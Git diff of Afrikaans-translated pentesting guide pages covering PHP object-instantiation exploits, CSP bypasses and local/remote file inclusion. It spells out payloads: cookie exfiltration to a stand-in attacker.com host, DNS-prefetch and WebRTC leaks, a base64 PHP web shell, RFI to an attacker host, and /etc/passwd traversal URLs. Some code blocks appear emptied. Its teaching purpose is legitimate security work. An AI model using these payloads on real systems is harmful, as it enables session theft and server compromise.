benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik. +Daar word opgemerk dat PHP tydelik opgelaaide lêers in `/tmp/phpXXXXXX` stoor. Die VID parser in Imagick, wat die **msl** protocol gebruik, kan wildcards in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele manier om arbitrêre lêerskryf binne die lêerstelsel te bereik. ### PHP Crash + Brute Force -'n Metode wat beskryf word in die [**oorspronklike skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die opgradering van lêers wat 'n bedienerkragopval veroorsaak voordat dit verwyder word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter gevind om slegs effektief te wees in 'n verouderde weergawe van ImageMagick. +'n Metode beskryf in die [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat hulle uitgevee word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrary PHP code uit te voer. Hierdie tegniek is egter slegs in 'n verouderde weergawe van ImageMagick effektief gevind. -## Verwysings +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Wanneer gebruikersinvoer die klasnaam beheer (bv. `new $_GET['model']()`), het PHP 7.0.0 'n tydelike fout ingestel tydens die `Throwable` refactor waar die engine per ongeluk die klasnaam as 'n printf-formaatstring tydens resolusie beskou het. Dit maak klassieke printf-styl primitiewe binne PHP moontlik: leaks met `%p`, skryf-tellingbeheer met breedtespesifiseerders, en arbitrary writes met `%n` teen in-proses wysigers (byvoorbeeld GOT-inskrywings op ELF-boues). + +Minimale repro kwesbare patroon: +```php +d%$n` om die gedeeltelike oor-skrywing te bewerkstellig. + +## References - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index e4bf06ab9..a6705c3ee 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,28 +4,28 @@ ## Wat is CSP -Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`. +Content Security Policy (CSP) word erken as 'n blaaier-tegnologie, hoofsaaklik bedoel om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur te definieer watter paaie en bronne die blaaier veilig kan laai. Hierdie bronne sluit elemente soos beelde, frames en JavaScript in. Byvoorbeeld kan 'n beleid die laai en uitvoering van bronne vanaf dieselfde domein (`self`) toelaat, insluitend inline-bronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`. -Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings. +Die implementering van CSP word gedoen deur middel van **response headers** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaiers hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings. -- Geïmplementeer via antwoordkop: +- Geïmplementeer via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Geïmplementeer deur middel van 'n meta-tag: +- Geïmplementeer via meta-tag: ```xml ``` -### Headers +### Kopstukke -CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste: +CSP kan afgedwing of gemonitor word met behulp van hierdie kopstukke: -- `Content-Security-Policy`: Dwing die CSP af; die blaaiers blokkeer enige oortredings. -- `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings. +- `Content-Security-Policy`: Dwing die CSP af; die blaaier blokkeer enige oortredings. +- `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in voorproduksie-omgewings. -### Defining Resources +### Definieer hulpbronne -CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeld beleid is: +CSP beperk die oorspronge wat beide aktiewe en passiewe inhoud laai, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()`. 'n Voorbeeldbeleid is: ```bash default-src 'none'; img-src 'self'; @@ -39,42 +39,43 @@ object-src 'none'; ``` ### Direktiewe -- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishanterings of XSLT-stylesheets geaktiveer word. -- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is. -- **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud. -- **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Beperk URL's vir rame. -- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos ``, ` // The bot will load an URL with the payload @@ -548,22 +548,22 @@ run() ``` ### Via Bookmarklets -Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer dit gesleep en laat val of geklik word, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel. +Hierdie aanval behels sosiale ingenieurskap waar die aanvaller die gebruiker **oortuig om 'n skakel oor die bookmarklet van die blaaier te sleep en neer te laat**. Hierdie bookmarklet sal **kwaadaardige javascript** kode bevat wat wanneer drag\&dropped of geklik word in die konteks van die huidige webvenster uitgevoer word, **CSP omseil en toelaat dat sensitiewe inligting** soos cookies of tokens gesteel word. -Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP omseiling deur CSP te beperk +### CSP-omseiling deur CSP te beperk -In [**hierdie CTF-skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**. +In [**hierdie CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS file verhoed het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander script te misbruik om 'n arbitrêre script te laai**. -Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut: +Jy kan **die CSP van 'n Iframe beperk** met die **`csp`** attribute: ```html ``` -In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\ -CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat, te **verwyder** en **spesifieke inline skrip via sha** te aktiveer: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), dit was moontlik via **HTML injection** om 'n **CSP** verder te **beperk**, sodat 'n script wat CSTI voorkom gedeaktiveer is en gevolglik die **kwetsbaarheid uitgebuit kon word.**\ +CSP kan meer beperkend gemaak word deur **HTML meta tags** en inline scripts kan gedeaktiveer word deur die **verwydering** van die **inskrywing** wat hul **nonce** toelaat en **enable specific inline script via sha**: ```html ``` -### JS eksfiltrasie met Content-Security-Policy-Report-Only +### JS exfiltration with Content-Security-Policy-Report-Only -As jy daarin slaag om die bediener te laat reageer met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`` te **inkorporeer**, let daarop dat hierdie **script** **gelaai** sal word omdat dit **toegelaat word deur 'self'**. Boonop, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **callback** eindpunt wat die CSP **omseil** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\ -Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +'n Aanvaller kan daardie endpoint misbruik om **generate a SOME attack** teen WordPress en dit **embed** binne `` noot dat hierdie **script** **loaded** sal word omdat dit deur **'self'** toegelaat word. Verder, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME attack** misbruik deur die **vulnerable** **callback** endpoint wat die **CSP** **bypasses** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\ +Vir meer inligting oor hoe om hierdie attack uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP Exfiltration Bypasses +## CSP Eksfiltrasie Omseilings -As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer. +As daar 'n streng CSP is wat jou nie toelaat om **interact with external servers** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer. ### Location -Jy kan net die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur: +Jy kan eenvoudig die location opdateer om die geheime inligting na die aanvaller se bediener te stuur: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud lek nie) +Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n redirect, dit sal nie leak inhoud nie) ```html ``` ### DNS Prefetch -Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP-adresse en dit vir later gebruik kas.\ -Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `` +Om bladsye vinniger te laai, sal blaaiers hostnames vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.\ +Jy kan 'n blaaier aandui om 'n hostname vooraf op te los met: `` -Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te exfiltreer**: +Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te eksfiltreer**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -675,18 +693,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur: +Om te voorkom dat dit gebeur, kan die bediener die HTTP header stuur: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Blykbaar werk hierdie tegniek nie in headless blaaiers (bots) nie +> Skynbaar werk hierdie tegniek nie in headless browsers (bots) nie ### WebRTC -Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie. +Op verskeie bladsye kan jy lees dat **WebRTC die `connect-src` beleid van die CSP nie nagaan**. -Werklik kan jy _leak_ inligting gebruikmakend van 'n _DNS versoek_. Kyk na hierdie kode: +Eintlik kan jy _leak_ inligting deur 'n _DNS request_ te gebruik. Kyk na hierdie kode: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -694,7 +712,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -'n Ander opsie: +Nog 'n opsie: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Die geloofwaardigheid pop-up stuur 'n DNS versoek na die iconURL sonder om deur die bladsy beperk te word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost. +Die credential popup stuur 'n DNS-versoek na die iconURL sonder dat dit deur die bladsy beperk word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -719,12 +737,12 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Kontroleer CSP Beleide Aanlyn +## Kontroleer CSP-beleid aanlyn - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Outomatiese skep van CSP +## CSP outomaties skep [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index c6044ed82..284a57cd3 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,50 +4,50 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\ **Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer. -Die kwesbaarheid ontstaan wanneer die gebruiker op 'n of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word. +Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word. Kwetsbare **PHP functions**: require, require_once, include, include_once -'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +'n Interessante hulpmiddel om hierdie kwesbaarheid te eksploiteer: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE files +## Blind - Interessant - LFI2RCE lêers ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**Deur verskeie *nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:** +**Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg het ek hierdie een geskep:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Probeer ook om `/` te verander na `\`\ +Probeer ook om `/` vir `\` te verander\ Probeer ook om `../../../../../` by te voeg A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Samevoeging van verskeie wordlists: +Samevoeging van verskillende wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Probeer ook om `/` te verander na `\`\ +Probeer ook om `/` vir `\` te verander\ Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Kyk na die LFI-lys van Linux. +Kyk na die LFI-lys van linux. ## Basiese LFI en omseilings @@ -55,7 +55,7 @@ Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclus ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences nie-rekursief verwyder +### traversal sequences verwyder nie-rekursief ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass om meer karakters aan die einde van die verskafte string by te voeg (bypass of: $\_GET\['param']."php") +Bypass die toevoeging van meer karakters aan die einde van die verskafte string (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Dit is **opgelos sedert PHP 5.4** -### **Enkodering** +### **Kodering** -Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander): +Jy kan nie-standaard koderinge gebruik soos double URL encode (en ander): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Van bestaande folder +### Vanaf bestaande gids -Miskien kontroleer die back-end die folder path: +Miskien kontroleer die back-end die gids pad: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Verkenning van lêerstelsel-gidse op 'n bediener +### Verkenning van Lêerstelselgidse op 'n Server -Die lêerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die vasstelling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetaileerde metode om dit te bereik: +Die lêerstelsel van 'n server kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die toetsing vir die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik: -1. **Bepaal die gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees en 'n diepte van drie aandui: +1. **Bepaal gidsdiepte:** Vind die diepte van jou huidige gids deur suksesvol die `/etc/passwd`-lêer te haal (toepaslik as die server is Linux-based). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die addisionele gidsvlak vereis dat die diepte met een verhoog word: +2. **Soek na gidse:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretasie van die Uitkomste:** Die bediener se reaksie dui aan of die gids bestaan: -- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie. -- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig. -4. **Rekursiewe Verkenning:** Gevonde gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes. +3. **Interpreteer die uitkomste:** Die bediener se reaksie dui aan of die gids bestaan: +- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie. +- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig. +4. **Rekursiewe Verkenning:** Gevonde gidses kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes. -Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` 'n `private` gids bevat (aannemende die huidige gids is op 'n diepte van 3), gebruik: +Om gidses op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aangesien die huidige gids op 'n diepte van 3 is), gebruik: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies byvoeg. Die doel is om 'n lêerpad te konstruer wat, sodra dit deur die sekuriteitsmaatreël gewysig is, steeds na die gewenste lêer wys. +Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere veiligheidsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie toevoeg. Die doel is om 'n lêerpad te konstrueer wat, sodra dit deur die veiligheidsmaatreël verander is, steeds na die gewenste lêer wys. -In PHP kan verskillende voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld: +In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad beskou. -- Wanneer die laaste 6 karakters `passwd` is, verander die aanheg van ` / ` (waardeur dit `passwd/` word) nie die geteikende lêer nie. -- Net so, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die lêer wat geraadpleeg word verander nie. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel. +- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie. +- Op dieselfde manier, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die betrokke lêer wat geraadpleeg word, verander nie. -Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting): +Die verskafde voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie. +In hierdie scenario's kan die aantal traversals wat benodig word rondom 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters kan gebruik word om deur die lêerstelsel te navigeer en effektief aangehegte strings deur die bediener te ignoreer. -- **Determining the Required Number of Traversals**: Deur proef en fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die root directory en dan na `/etc/passwd` te navigeer, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly. -- **Starting with a Fake Directory**: Dit is algemeen om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om aan die bediener se path parsing logic se vereistes te voldoen. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) gekombineer met ekstra dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer. +- **Determining the Required Number of Traversals**: Deur proef-en-fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die wortelgids te navigeer en daarna na `/etc/passwd`, en te verseker dat enige aangehegte stringe (soos `.php`) geneutraliseer word maar die verlangde pad (`/etc/passwd`) onaangeraak bly. +- **Starting with a Fake Directory**: Dit is algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad-ontledingslogika te voldoen. -Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing behavior en filesystem structure te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind. +Wanneer path truncation techniques gebruik word, is dit kritiek om die bediener se pad-ontledingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering benodig, en toetsing is dikwels nodig om die doeltreffendste metode te vind. **Hierdie kwesbaarheid is reggestel in PHP 5.3.** @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry: +In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou server insluit en RCE kry: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -As om een of ander rede **`allow_url_include`** **On** is, maar PHP is **filtering** toegang tot eksterne webblaaie, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry: +Indien om een of ander rede **`allow_url_include`** is **On**, maar PHP is **filtering** toegang tot eksterne webbladsye, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat op `.txt` geëindig het, dus eindig die string daarmee en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP code ingesluit word (en dus uitgevoer). +> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string benodig het wat op `.txt` eindig, dus eindig die string daarmee en nadat die b64 decode plaasgevind het sal daardie deel net gemors teruggee en die werklike PHP code ingesluit word (en daarom uitgevoer word). -Another example **wat nie die `php://` protokol gebruik nie** sou wees: +Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python wortelelement -In python, in 'n kode soos hierdie: +In python in 'n kode soos hierdie: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**: +As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige path** net verwyder: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die saamvoeging voort vanaf die absolute pad-komponent. +> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan samvoeging voort vanaf die absolute pad-komponent. -## Java - lys van gidse +## Java lys van gidse -Dit lyk asof as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik). +Dit lyk of as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 